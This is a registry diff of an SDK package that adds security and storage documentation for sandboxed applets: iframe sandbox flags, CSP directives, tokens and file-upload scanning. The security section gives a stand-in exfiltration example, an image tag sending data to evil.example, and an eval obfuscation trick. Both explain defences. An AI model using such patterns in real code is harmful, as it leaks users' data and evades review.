@ziprack/sdk 0.1.2 → 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/db/index.d.ts +2 -1
- package/dist/docs/README.md +56 -0
- package/dist/docs/activity.md +144 -0
- package/dist/docs/ai.md +159 -0
- package/dist/docs/applet-packages.md +118 -0
- package/dist/docs/attempts.md +187 -0
- package/dist/docs/auth.md +106 -0
- package/dist/docs/broadcast.md +226 -0
- package/dist/docs/conformance.md +102 -0
- package/dist/docs/database.md +230 -0
- package/dist/docs/extending.md +261 -0
- package/dist/docs/installation.md +186 -0
- package/dist/docs/introduction.md +124 -0
- package/dist/docs/manifest.md +210 -0
- package/dist/docs/mcp.md +190 -0
- package/dist/docs/media.md +85 -0
- package/dist/docs/protocol.md +121 -0
- package/dist/docs/publishing.md +127 -0
- package/dist/docs/reporting.md +190 -0
- package/dist/docs/sdk.md +258 -0
- package/dist/docs/security.md +153 -0
- package/dist/docs/storage.md +131 -0
- package/dist/docs/studio.md +425 -0
- package/dist/docs/versioning.md +101 -0
- package/dist/docs/ziprack-1-authoring.md +182 -0
- package/dist/index.js.map +1 -1
- package/dist/mcp/bin.d.ts +2 -0
- package/dist/mcp/bin.js +3 -0
- package/dist/mcp/docs.d.ts +31 -0
- package/dist/mcp/docs.js +107 -0
- package/dist/mcp/index.d.ts +4 -0
- package/dist/mcp/index.js +4 -0
- package/dist/mcp/rpc.d.ts +33 -0
- package/dist/mcp/rpc.js +86 -0
- package/dist/mcp/server.d.ts +23 -0
- package/dist/mcp/server.js +55 -0
- package/dist/mcp/tools.d.ts +20 -0
- package/dist/mcp/tools.js +106 -0
- package/dist/ziprack-sdk.iife.js.map +1 -1
- package/package.json +10 -4
|
@@ -0,0 +1,153 @@
|
|
|
1
|
+
# Security
|
|
2
|
+
|
|
3
|
+
- [The Boundary](#the-boundary)
|
|
4
|
+
- [The Sandbox](#the-sandbox)
|
|
5
|
+
- [The Content Security Policy](#the-content-security-policy)
|
|
6
|
+
- [Tokens and Sessions](#tokens-and-sessions)
|
|
7
|
+
- [Threats the Boundary Does Not Cover](#threats-the-boundary-does-not-cover)
|
|
8
|
+
- [Static Analysis](#static-analysis)
|
|
9
|
+
|
|
10
|
+
<a name="the-boundary"></a>
|
|
11
|
+
## The Boundary
|
|
12
|
+
|
|
13
|
+
Two mechanisms do essentially all of the work: the iframe sandbox and the Content Security Policy.
|
|
14
|
+
Everything else in zipRACK — declared capabilities, quotas, budgets, review queues — is defence in
|
|
15
|
+
depth over those two.
|
|
16
|
+
|
|
17
|
+
The reason to be strict about which is which: sandbox and CSP hold against a *hostile* applet. The
|
|
18
|
+
declaration model holds against a *careless* one, and gives a reviewer something to read. Do not
|
|
19
|
+
lean on the second where the first is what is needed.
|
|
20
|
+
|
|
21
|
+
<a name="the-sandbox"></a>
|
|
22
|
+
## The Sandbox
|
|
23
|
+
|
|
24
|
+
```html
|
|
25
|
+
<iframe sandbox="allow-scripts allow-forms allow-popups allow-popups-to-escape-sandbox"
|
|
26
|
+
allow="autoplay; fullscreen; picture-in-picture; encrypted-media; clipboard-write"
|
|
27
|
+
src="/ziprack/pkg/{token}/index.html"></iframe>
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
`allow-same-origin` is absent, and that absence is the whole design. The applet document has an
|
|
31
|
+
opaque origin, which means:
|
|
32
|
+
|
|
33
|
+
- No cookies, no `localStorage`, no `sessionStorage`, no `IndexedDB`.
|
|
34
|
+
- No credentialed requests, and no useful requests to the Rack at all.
|
|
35
|
+
- No access to the parent DOM.
|
|
36
|
+
- Nested frames inherit the flags, so an embedded player is equally contained.
|
|
37
|
+
|
|
38
|
+
Communication is `postMessage` only, and the host honours a message solely when `event.source` is
|
|
39
|
+
the applet's `contentWindow`. Origin is never compared, because an opaque origin makes comparison
|
|
40
|
+
meaningless — a detail worth understanding before anyone "fixes" it.
|
|
41
|
+
|
|
42
|
+
### Extending the frame's permissions
|
|
43
|
+
|
|
44
|
+
The `allow` list above is the fixed base. A deployment may add features an applet needs, such as
|
|
45
|
+
`microphone` for one that records audio:
|
|
46
|
+
|
|
47
|
+
```php
|
|
48
|
+
'player' => [
|
|
49
|
+
'frame_allow' => ['microphone'], // ZIPRACK_PLAYER_FRAME_ALLOW=microphone
|
|
50
|
+
],
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
Only bare feature names from `FramePermissions::GRANTABLE` are accepted: `microphone`, `camera`,
|
|
54
|
+
`display-capture`, `geolocation`, `clipboard-read`, `screen-wake-lock`, `web-share` and `midi`. An
|
|
55
|
+
origin list (`*`, `microphone *`, `microphone 'self'`) or an unknown name is dropped, so every
|
|
56
|
+
feature keeps the default `'src'` allowlist and reaches the applet's frame alone.
|
|
57
|
+
`FramePermissions::violations()` reports refused entries, and `ziprack:status` fails on them.
|
|
58
|
+
|
|
59
|
+
The setting is Rack-wide: every applet on the Rack is offered the feature, and the browser still
|
|
60
|
+
prompts the participant before granting it.
|
|
61
|
+
|
|
62
|
+
<a name="the-content-security-policy"></a>
|
|
63
|
+
## The Content Security Policy
|
|
64
|
+
|
|
65
|
+
Served with the applet's entry document. **Directives are fixed in the middleware**; a deployment may
|
|
66
|
+
add approved hosts, never a bare scheme.
|
|
67
|
+
|
|
68
|
+
| Directive | Value |
|
|
69
|
+
|---|---|
|
|
70
|
+
| `default-src` | `'self'` + Rack origin |
|
|
71
|
+
| `script-src` | `'self'` + Rack origin, `'unsafe-inline' 'unsafe-eval' blob:` |
|
|
72
|
+
| `style-src` | `'self'` + Rack origin, `'unsafe-inline'` + configured font CDNs |
|
|
73
|
+
| `font-src` | `'self'` + Rack origin, `data:` + configured font CDNs |
|
|
74
|
+
| `img-src` | `'self'` + Rack origin, `data: blob:` + deployment allowlist |
|
|
75
|
+
| `media-src` | `'self'` + Rack origin, `blob:` + deployment allowlist |
|
|
76
|
+
| `connect-src` | `'self'` + Rack origin |
|
|
77
|
+
| `frame-src` | the allowlisted media providers' player hosts, else `'none'` |
|
|
78
|
+
| `frame-ancestors`, `base-uri`, `form-action` | `'self'` |
|
|
79
|
+
|
|
80
|
+
**Rack origin** is the exact origin of `app.url` (scheme, host, non-default port), e.g.
|
|
81
|
+
`https://rack.example.com`. It is listed because the applet frame's origin is opaque: Chrome resolves
|
|
82
|
+
`'self'` against the URL the document came from, but Safari resolves it against the opaque origin and
|
|
83
|
+
matches nothing, blocking the applet's own bundle. `APP_URL` must therefore be the origin the Rack is
|
|
84
|
+
actually served from.
|
|
85
|
+
|
|
86
|
+
**Why `img-src` matters more than it looks.** A hostile applet can exfiltrate anything it holds with
|
|
87
|
+
a single tag:
|
|
88
|
+
|
|
89
|
+
```html
|
|
90
|
+
<img src="https://evil.example/?d=…">
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
That request fires without touching any Rack surface, leaves no statement, and appears in no log the
|
|
94
|
+
Rack controls. Tightening `img-src` and `media-src` to `'self' data: blob:` plus an explicit
|
|
95
|
+
allowlist closes it, and costs nothing in capability, because applets already ship their own assets.
|
|
96
|
+
It is the single highest-value security control in the framework.
|
|
97
|
+
|
|
98
|
+
The config accepts hosts, and only hosts:
|
|
99
|
+
|
|
100
|
+
```php
|
|
101
|
+
'csp' => [
|
|
102
|
+
'img_hosts' => ['cdn.client.example'], // ZIPRACK_CSP_IMG_HOSTS
|
|
103
|
+
'media_hosts' => [],
|
|
104
|
+
],
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
`https:`, `http:`, `*`, `https://*` and anything containing a wildcard are rejected outright;
|
|
108
|
+
`ContentSecurityPolicy::violations()` reports attempts, and `ziprack:status` surfaces them. A host
|
|
109
|
+
without a scheme is normalised to `https://`.
|
|
110
|
+
|
|
111
|
+
External media that genuinely must load from elsewhere routes through the Rack's `/cdn/...` proxy
|
|
112
|
+
instead of loosening the policy.
|
|
113
|
+
|
|
114
|
+
<a name="tokens-and-sessions"></a>
|
|
115
|
+
## Tokens and Sessions
|
|
116
|
+
|
|
117
|
+
- **Package asset token.** Applet files are served from `/ziprack/pkg/{token}/…` with a signed token
|
|
118
|
+
scoped to one version, expiring after `ziprack.asset_token_ttl_hours` (6). The extraction disk is
|
|
119
|
+
never publicly served.
|
|
120
|
+
- **Launch session.** Capability calls go to `/ziprack/s/{session}/messages` with a token in the
|
|
121
|
+
path — no session cookie, no CSRF, stateless by design, rate limited, expiring after
|
|
122
|
+
`ziprack.session_ttl_hours` (6). The session is what binds a message to a participant, a version,
|
|
123
|
+
an attempt and a room; nothing in the payload can widen that scope.
|
|
124
|
+
- **Signed file URLs.** `storage@1` hands out short-lived URLs, never object keys.
|
|
125
|
+
- **Channel authentication.** The Rack signs its own WebSocket subscriptions. No token reaches the
|
|
126
|
+
frame.
|
|
127
|
+
|
|
128
|
+
<a name="threats-the-boundary-does-not-cover"></a>
|
|
129
|
+
## Threats the Boundary Does Not Cover
|
|
130
|
+
|
|
131
|
+
**Credential phishing inside the frame.** An applet can render a convincing fake login form. The
|
|
132
|
+
mitigations are persistent Rack chrome that cannot be spoofed from inside the frame, plus a stated
|
|
133
|
+
and enforced policy: *applets never ask participants for credentials.* Treat a package that does as
|
|
134
|
+
a publishing violation, not a bug.
|
|
135
|
+
|
|
136
|
+
**LLM budget abuse.** An applet with `ai@1` can burn tokens. Budgets are hard caps enforced
|
|
137
|
+
server-side at every layer — per prompt, per attempt, per participant, per applet per day, per Rack
|
|
138
|
+
per month — never advisory numbers.
|
|
139
|
+
|
|
140
|
+
**Record and storage flooding.** Per-scope quotas, declared in the manifest and capped by the
|
|
141
|
+
deployment regardless of what the manifest asks for.
|
|
142
|
+
|
|
143
|
+
**Supply chain.** The SBOM is self-attested. OSV findings catch negligence; the
|
|
144
|
+
[capability diff](publishing.md#capability-diff-review) is what catches the realistic attack, which
|
|
145
|
+
is a benign v1 followed by a quietly wider v2.
|
|
146
|
+
|
|
147
|
+
<a name="static-analysis"></a>
|
|
148
|
+
## Static Analysis
|
|
149
|
+
|
|
150
|
+
AST scanning of shipped applet JavaScript was considered and **dropped**. Applets ship minified with
|
|
151
|
+
mangled identifiers, and any check is defeated by trivial obfuscation — `window["ev"+"al"]` — so it
|
|
152
|
+
would produce false confidence and a maintenance burden without raising the bar. The CSP does the
|
|
153
|
+
work static analysis was being asked to do, and does it at runtime, where it cannot be evaded.
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
# Storage — `storage@1`
|
|
2
|
+
|
|
3
|
+
- [Introduction](#introduction)
|
|
4
|
+
- [Declaring Upload Slots](#declaring-upload-slots)
|
|
5
|
+
- [Uploading](#uploading)
|
|
6
|
+
- [Reading Files Back](#reading-files-back)
|
|
7
|
+
- [Scanning](#scanning)
|
|
8
|
+
- [Quotas and Limits](#quotas-and-limits)
|
|
9
|
+
|
|
10
|
+
<a name="introduction"></a>
|
|
11
|
+
## Introduction
|
|
12
|
+
|
|
13
|
+
`storage@1` lets a participant put a file into the Rack: a photo, a drawing, a recorded reflection,
|
|
14
|
+
a document. The applet never sees a bucket, a key or a presigned URL to anything but its own files,
|
|
15
|
+
and a file is not addressable at all until a scanner has marked it clean.
|
|
16
|
+
|
|
17
|
+
<a name="declaring-upload-slots"></a>
|
|
18
|
+
## Declaring Upload Slots
|
|
19
|
+
|
|
20
|
+
An **upload** is a named slot with a scope and a MIME allowlist. Files always belong to a slot.
|
|
21
|
+
|
|
22
|
+
```json
|
|
23
|
+
"uploads": [
|
|
24
|
+
{ "name": "artifacts", "scope": "room", "mime": ["image/png", "image/jpeg"], "max_bytes": 5242880, "max_files": 10 },
|
|
25
|
+
{ "name": "reflection", "scope": "attempt", "mime": ["audio/*"], "max_bytes": 10485760 }
|
|
26
|
+
]
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
| Field | Rules |
|
|
30
|
+
|---|---|
|
|
31
|
+
| `name` | Required. `^[a-z][a-z0-9_]*$`, max 40, unique. |
|
|
32
|
+
| `scope` | Required. `attempt`, `user`, `room` or `applet`. Same meaning as [db scopes](database.md#scopes). |
|
|
33
|
+
| `mime` | Required, at least one. `type/subtype` or `type/*`. |
|
|
34
|
+
| `max_bytes` | Optional. Default 10 MB, ceiling 50 MB (`ziprack-storage.max_bytes_cap`). |
|
|
35
|
+
| `max_files` | Optional. Default 20, ceiling 500. |
|
|
36
|
+
|
|
37
|
+
`attempt` scope requires `attempt@1`; `room` scope requires `broadcast@1`.
|
|
38
|
+
|
|
39
|
+
<a name="uploading"></a>
|
|
40
|
+
## Uploading
|
|
41
|
+
|
|
42
|
+
```ts
|
|
43
|
+
input.addEventListener('change', async () => {
|
|
44
|
+
const file = input.files?.[0];
|
|
45
|
+
if (! file) return;
|
|
46
|
+
|
|
47
|
+
const result = await Rack.storage.put('artifacts', file, { caption: caption.value });
|
|
48
|
+
|
|
49
|
+
if (! result.ok) {
|
|
50
|
+
return showError(result.error === 'quota_exceeded'
|
|
51
|
+
? 'That slot is full.'
|
|
52
|
+
: 'We could not accept that file.');
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
render(result.data.file); // status is usually 'pending' at this point
|
|
56
|
+
});
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
The `File` travels to the shell by structured clone and is re-sent as multipart to the Rack — it
|
|
60
|
+
never becomes JSON, and it never leaves the frame as your own `fetch`. The ack timeout for
|
|
61
|
+
`storage:put` is 120 s rather than the usual 5 s, because upload time is participant time.
|
|
62
|
+
|
|
63
|
+
A stored file looks like:
|
|
64
|
+
|
|
65
|
+
```ts
|
|
66
|
+
interface StoredFile {
|
|
67
|
+
id: string;
|
|
68
|
+
upload: string; // the slot name
|
|
69
|
+
name: string;
|
|
70
|
+
mime: string;
|
|
71
|
+
bytes: number;
|
|
72
|
+
status: 'pending' | 'clean' | 'infected' | 'failed';
|
|
73
|
+
created_at: string;
|
|
74
|
+
}
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
<a name="reading-files-back"></a>
|
|
78
|
+
## Reading Files Back
|
|
79
|
+
|
|
80
|
+
```ts
|
|
81
|
+
const { data } = await Rack.storage.list('artifacts'); // omit the slot for all of them
|
|
82
|
+
|
|
83
|
+
const url = await Rack.storage.url(file.id);
|
|
84
|
+
if (url.ok) img.src = url.data.url; // expires; refetch rather than cache
|
|
85
|
+
|
|
86
|
+
await Rack.storage.delete(file.id);
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
`url()` returns a short-lived signed URL — 10 minutes by default
|
|
90
|
+
(`ziprack-storage.url_ttl_minutes`) — and never an object key. Do not store it: request it when you
|
|
91
|
+
are about to render, and request it again if the participant leaves the page open.
|
|
92
|
+
|
|
93
|
+
`url()` on a file that is not yet `clean` fails. Render pending files as placeholders and refresh:
|
|
94
|
+
|
|
95
|
+
```ts
|
|
96
|
+
if (file.status === 'pending') {
|
|
97
|
+
setTimeout(async () => {
|
|
98
|
+
const again = await Rack.storage.list('artifacts');
|
|
99
|
+
// …look for this id, re-render when it turns clean
|
|
100
|
+
}, 2000);
|
|
101
|
+
}
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
<a name="scanning"></a>
|
|
105
|
+
## Scanning
|
|
106
|
+
|
|
107
|
+
Uploads are scanned before they become addressable. The deployment picks the scanner:
|
|
108
|
+
|
|
109
|
+
```
|
|
110
|
+
ZIPRACK_SCANNER=clamav # streams the file to clamd over TCP
|
|
111
|
+
ZIPRACK_SCANNER=null # development only: passes everything, marks clean
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
`php artisan ziprack:status` warns while a Rack is running the null scanner, and that warning should
|
|
115
|
+
be taken seriously before a deployment accepts participant files from anyone.
|
|
116
|
+
|
|
117
|
+
An `infected` file is never addressable, and the participant sees a failure rather than a mystery.
|
|
118
|
+
|
|
119
|
+
<a name="quotas-and-limits"></a>
|
|
120
|
+
## Quotas and Limits
|
|
121
|
+
|
|
122
|
+
Enforced server-side, per slot and per scope, regardless of what the manifest asks for:
|
|
123
|
+
|
|
124
|
+
- `max_bytes` per file, capped at 50 MB for the deployment.
|
|
125
|
+
- `max_files` per scope, capped at 500.
|
|
126
|
+
- The MIME allowlist. A file whose type is not in the slot's list is refused with `validation`,
|
|
127
|
+
which is not a substitute for setting `accept` on your `<input>` — do both, for the participant's
|
|
128
|
+
sake.
|
|
129
|
+
|
|
130
|
+
Uploads count against the applet, so an applet declaring an unbounded-feeling slot in a long-running
|
|
131
|
+
room is the realistic way to fill a disk. Declare the smallest slot that does the job.
|